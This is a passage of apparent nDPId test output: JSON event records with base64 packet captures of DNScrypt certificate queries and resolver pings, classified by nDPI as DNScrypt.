+00668{"flow_id":72,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":457124,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUC5sAADQRQFyVOOQtCgAAAQG7640AwNpVf0OBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAAAFGFEAAwsZ+sBWpvUVROInn0h1y0+FE\/VHdPKdwGWI15rFeV84ZdSkid7VtVlPn9SchFzfn3Pj66PFpyoNS6YMir6PRfcrBtc8JsfsQb\/FwAoHgENy0Ke+Bxb4NU7gNSOLvo9F9ysG119TYaFfU2GhX1SzIQ=="} +00668{"flow_id":68,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":457244,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUC5wAADQRQFuVOOQtCgAAAQG7spoAwBNIf0SBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAAAFGFEAAwsZ+sBWpvUVROInn0h1y0+FE\/VHdPKdwGWI15rFeV84ZdSkid7VtVlPn9SchFzfn3Pj66PFpyoNS6YMir6PRfcrBtc8JsfsQb\/FwAoHgENy0Ke+Bxb4NU7gNSOLvo9F9ysG119TYaFfU2GhX1SzIQ=="} +00668{"flow_id":71,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":459813,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUC58AADQRQFiVOOQtCgAAAQG7iZwAwDxIf0KBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAAAFGFEAAwsZ+sBWpvUVROInn0h1y0+FE\/VHdPKdwGWI15rFeV84ZdSkid7VtVlPn9SchFzfn3Pj66PFpyoNS6YMir6PRfcrBtc8JsfsQb\/FwAoHgENy0Ke+Bxb4NU7gNSOLvo9F9ysG119TYaFfU2GhX1SzIQ=="} +00668{"flow_id":69,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":460564,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUC50AADQRQFqVOOQtCgAAAQG7iqcAwDs5f0aBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAAAFGFEAAwsZ+sBWpvUVROInn0h1y0+FE\/VHdPKdwGWI15rFeV84ZdSkid7VtVlPn9SchFzfn3Pj66PFpyoNS6YMir6PRfcrBtc8JsfsQb\/FwAoHgENy0Ke+Bxb4NU7gNSOLvo9F9ysG119TYaFfU2GhX1SzIQ=="} +00668{"flow_id":70,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":461257,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUC54AADQRQFmVOOQtCgAAAQG7gx0AwELEf0WBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAAAFGFEAAwsZ+sBWpvUVROInn0h1y0+FE\/VHdPKdwGWI15rFeV84ZdSkid7VtVlPn9SchFzfn3Pj66PFpyoNS6YMir6PRfcrBtc8JsfsQb\/FwAoHgENy0Ke+Bxb4NU7gNSOLvo9F9ysG119TYaFfU2GhX1SzIQ=="} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":177,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":946739306241,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":49512,"dst_port":1443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":241769,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc+l9AAL0R9vsKAAABrGhdUMFoBaMCCMyOtDkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":177,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":946739306241,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":49512,"dst_port":1443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":178,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":946739306241,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":50913,"dst_port":1443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":241775,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc+mAgAL0REzsKAAABrGhdUMbhBaMGBCsUtDYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":178,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":946739306241,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":50913,"dst_port":1443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":179,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":241786,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ+mAAub0ROA4KAAABrGhdUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":179,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":180,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":946739306241,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":41800,"dst_port":1443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":241796,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc+mEgAL0REzoKAAABrGhdUKNIBaMGBE6vtDQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":180,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":946739306241,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":41800,"dst_port":1443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":181,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":241823,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ+mEAub0ROA0KAAABrGhdUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":181,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":182,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":946739306241,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":38283,"dst_port":1443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":76,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":241870,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc+mJAAL0R9vgKAAABrGhdUJWLBaMCCMyOtDUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":182,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":946739306241,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":38283,"dst_port":1443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":183,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":946739306241,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":59489,"dst_port":1443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":77,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":241888,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc+mNAAL0R9vcKAAABrGhdUOhhBaMCCMyOtDcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":183,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":946739306241,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":59489,"dst_port":1443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":184,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":946739306241,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":56902,"dst_port":1443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":78,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":241927,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc+mQgAL0REzcKAAABrGhdUN5GBaMGBBOttDgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA